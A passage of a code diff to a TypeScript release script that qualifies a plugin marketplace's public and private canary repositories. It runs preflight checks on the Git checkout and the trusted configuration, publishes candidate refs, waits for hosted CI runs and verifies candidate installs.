CandidateInstallEvidence[] }> { + const adapters = dependencies ?? { + publish: (target: Target, candidateSha: string) => + publishTarget(target, candidateSha), + hostedProof: (target: Target, candidateSha: string) => + Promise.resolve( + target.visibility === "PRIVATE" + ? bindTrustedPrivateRun(target, candidateSha) + : waitForRun(target, candidateSha), + ), + install: installCandidate, + } + const visibilities = targets.map((target) => target.visibility).sort().join(",") + if ( + targets.length !== 2 || + visibilities !== "PRIVATE,PUBLIC" || + targets.find((target) => target.visibility === "PRIVATE")?.candidateSha !== sourceSha || + targets.some((target) => target.candidateRef !== candidateRefForSource(target.candidateSha)) + ) { + throw new CanaryError( + "target_set_invalid", + "hosted qualification requires exactly one public and one private canary", + "repair plugin.config.json canary repositories, then rerun --dry-run", + false, + ) + } + for (const target of targets) await adapters.publish(target, target.candidateSha) + const runs = new Map() + for (const target of targets.filter((candidate) => candidate.visibility === "PUBLIC")) { + runs.set(target.visibility, await adapters.hostedProof(target, target.candidateSha)) + } + const installs: CandidateInstallEvidence[] = [] + for (const target of targets) { + const evidence = await adapters.install(target, target.candidateSha) + assertCandidateInstall(target, evidence) + installs.push(evidence) + } + for (const target of targets.filter((candidate) => candidate.visibility === "PRIVATE")) { + runs.set(target.visibility, await adapters.hostedProof(target, target.candidateSha)) + } + return { runs: targets.map((target) => runs.get(target.visibility) as HostedRun), installs } +} + +function preflight(options: PublishOptions): Preflight { + const trustedConfig = loadPluginConfig(root) + const candidateCanary = candidateCanaryTargets(options.sourceRoot) + if ( + candidateCanary.owner !== trustedConfig.canary.owner || + candidateCanary.actor !== trustedConfig.canary.actor || + candidateCanary.publicRepository !== trustedConfig.canary.publicRepository || + candidateCanary.privateRepository !== trustedConfig.canary.privateRepository + ) { + throw new CanaryError( + "canary_target_mismatch", + "candidate canary targets differ from the trusted driver checkout", + "restore plugin.config.json canary targets to the trusted base values", + false, + ) + } + const identity = processResult(["gh", "api", "user", "--jq", ".login"]) || "" + const dirty = processResult( + ["git", "status", "--porcelain", "--untracked-files=no"], + false, + options.sourceRoot, + ) if (dirty) { throw new CanaryError( "dirty_checkout", @@ -295,8 +1078,69 @@ function preflight(options: Options): Preflight { false, ) } - const sourceSha = processResult(["git", "rev-parse", "--verify", `${options.ref}^{commit}`]) - const headSha = processResult(["git", "rev-parse", "--verify", "HEAD^{commit}"]) + const untrackedDistribution = processResult( + [ + "git", + "status", + "--porcelain", + "--untracked-files=all", + "--", + "plugin", + ".claude-plugin/marketplace.json", + ".agents/plugins/marketplace.json", + ], + false, + options.sourceRoot, + ) + if (untrackedDistribution) { + throw new CanaryError( + "dirty_checkout", + "untracked files are present in the public marketplace distribution", + "commit or move the untracked distribution files before publishing canaries", + false, + ) + } + const ignoredDistribution = commandOutput( + [ + "git", + "ls-files", + "--others", + "--ignored", + "--exclude-standard", + "-z", + "--", + "plugin", + ".claude-plugin/marketplace.json", + ".agents/plugins/marketplace.json", + ], + undefined, + undefined, + options.sourceRoot, + undefined, + false, + ) + if (ignoredDistribution.exitCode !== 0) { + throw new CanaryError( + "command_failed", + "failed to inspect ignored public marketplace distribution files", + "repair the Git checkout and rerun with the same arguments", + ) + } + if (ignoredDistribution.stdout) { + throw new CanaryError( + "dirty_checkout", + "ignored files are present in the public marketplace distribution", + "remove ignored distribution files or commit the intended payload before publishing canaries", + false, + ) + } + const sourceSha = + processResult(["git", "rev-parse", "--verify", `${options.ref}^{commit}`], false, options.sourceRoot) || "" + const headSha = processResult( + ["git", "rev-parse", "--verify", "HEAD^{commit}"], + false, + options.sourceRoot, + ) if (headSha !== sourceSha) { throw new CanaryError( "source_not_checked_out", @@ -305,89 +1149,164 @@ function preflight(options: Options): Preflight { false, ) } - processResult(["git", "merge-base", "--is-ancestor", sourceSha || "", "origin/main"]) - processResult([process.execPath, "run", "generate:check"]) - const origin = processResult(["git", "remote", "get-url", "origin"]) - const targets = buildTargets( - origin || "", - config.canary.owner, - config.canary.publicRepository, - config.canary.privateRepository, - ).map((target) => proveTargetLineage(target, sourceSha || "")) - return { identity: identity || "", sourceSha: sourceSha || "", targets } + const origin = processResult(["git", "remote", "get-url", "origin"]) || "" + const resolvedTransport = resolveTransportIdentity(origin) + const boundTransport = bindTransportIdentity( + identity, + resolvedTransport.identity, + trustedConfig.canary.actor, + resolvedTransport.kind, + ) + const transportIdentity = { ...boundTransport, host: resolvedTransport.host } + const publicCandidate = createSanitizedPublicCandidate(options.sourceRoot, sourceSha) + try { + const targets = buildTargets( + origin, + trustedConfig.canary.owner, + trustedConfig.canary.publicRepository, + trustedConfig.canary.privateRepository, + sourceSha, + options.sourceRoot, + publicCandidate, + ) + return { + identity, + transportIdentity, + sourceSha, + targets, + temporaryRoot: publicCandidate.temporaryRoot, + } + } catch (error) { + rmSync(publicCandidate.temporaryRoot, { recursive: true, force: true }) + throw error + } } -async function publishTargets(targets: Target[], sourceSha: string): Promise { - const runs: HostedRun[] = [] - for (const target of targets) publishTarget(target, sourceSha) - for (const target of targets) runs.push(await waitForRun(target, sourceSha)) - return runs +function classify(options: ClassifyOptions): void { + const command = commandOutput([ + "git", + "-c", + "core.quotePath=false", + "diff", + "--name-only", + "-z", + "--diff-filter=ACMRTD", + "--no-renames", + `${options.base}...${options.head}`, + ], undefined, undefined, root, undefined, false) + if (command.exitCode !== 0) { + throw new CanaryError( + "command_failed", + "git diff failed while classifying publishing-system paths", + "repair the Git refs and rerun with the same arguments", + ) + } + const changedPaths = command.stdout ? command.stdout.split("\0").filter(Boolean) : [] + const canaries = classifyPublishingSystemChanges(changedPaths) + const result = { + ok: true, + action: "classified", + sideEffects: "none", + base: options.base, + head: options.head, + changedPaths, + canaries, + hermeticProof: "required", + } + if (options.json) console.log(JSON.stringify(result)) + else { + console.log(canaries.required ? "Hosted canaries required." : "Hosted canaries not required.") + for (const path of canaries.triggeringPaths) console.log(path) + } } function emitSuccess( - options: Options, + options: PublishOptions, preflightResult: Preflight, - runs: HostedRun[], + qualification: { runs: HostedRun[]; installs: CandidateInstallEvidence[] }, runId: string, ): void { const result = { ok: true, - action: options.dryRun ? "preview" : "published", + action: options.dryRun ? "preview" : "qualified", runId, - sideEffects: options.dryRun ? "none" : "github-repositories-updated", + sideEffects: options.dryRun ? "none" : "github-candidate-refs-added", identity: preflightResult.identity, + transportIdentity: preflightResult.transportIdentity, source: { ref: options.ref, sha: preflightResult.sourceSha }, - targets: preflightResult.targets, - runs, + targets: preflightResult.targets.map( + ({ publicationRoot: _publicationRoot, publicationEnvironment: _environment, ...target }) => + target, + ), + runs: qualification.runs, + installs: qualification.installs, nextAction: options.dryRun - ? "bun run ship:canary -- --execute" - : "inspect both hosted run URLs", + ? `bun run ship:canary -- --execute --ref ${options.ref}` + : "inspect both hosted run URLs and native install evidence", } if (options.json) console.log(JSON.stringify(result)) else { - console.log(options.dryRun ? "Canary preflight passed." : "Both canaries passed hosted CI.") + console.log(options.dryRun ? "Canary preflight passed." : "Both Git canaries qualified.") console.log(`Source: ${preflightResult.sourceSha}`) for (const target of preflightResult.targets) { - console.log(`${target.visibility}: ${target.repository}`) + console.log(`${target.visibility}: ${target.repository} ${target.candidateRef}`) } - for (const run of runs) console.log(run.url) + for (const run of qualification.runs) console.log(run.url) } } async function main(arguments_: string[], runId: string): Promise { const options = parseOptions(arguments_) if (!options) return + if (options.mode === "classify") { + classify(options) + return + } const preflightResult = preflight(options) - const runs = options.execute - ? await publishTargets(preflightResult.targets, preflightResult.sourceSha) - : [] - emitSuccess(options, preflightResult, runs, runId) -} - -const arguments_ = process.argv.slice(2) -const json = arguments_.includes("--json") -const runId = crypto.randomUUID() -try { - await main(arguments_, runId) -} catch (error) { - const failure = - error instanceof CanaryError - ? error - : new CanaryError("unexpected", error instanceof Error ? error.message : String(error), "rerun with --dry-run") - if (json) { - console.log( - JSON.stringify({ - ok: false, - runId, - category: failure.category, - message: failure.message, - retrySafe: failure.retrySafe, - nextAction: failure.nextAction, - }), - ) - } else { - console.error(`ship:canary: ${failure.message}`) - console.error(`Next: ${failure.nextAction}`) - } - process.exitCode = failure.category === "usage" ? 2 : 1 + try { + const qualification = options.execute + ? await qualifyTargets( + preflightResult.targets, + preflightResult.sourceSha, + undefined, + ) + : { runs: [], installs: [] } + emitSuccess(options, preflightResult, qualification, runId) + } finally { + rmSync(preflightResult.temporaryRoot, { recursive: true, force: true }) + } +} + +if (import.meta.main) { + const arguments_ = process.argv.slice(2) + const json = arguments_.includes("--json") + const runId = crypto.randomUUID() + try { + await main(arguments_, runId) + } catch (error) { + const failure = + error instanceof CanaryError + ? error + : new CanaryError( + "unexpected", + error instanceof Error ? error.message : String(error), + "rerun with --dry-run", + ) + if (json) { + console.log( + JSON.stringify({ + ok: false, + runId, + category: failure.category, + message: failure.message, + retrySafe: failure.retrySafe, + nextAction: failure.nextAction, + }), + ) + } else { + console.error(`ship:canary: ${failure.message}`) + console.error(`Next: ${failure.nextAction}`) + } + process.exitCode = failure.category === "usage" ? 2 : 1 + } }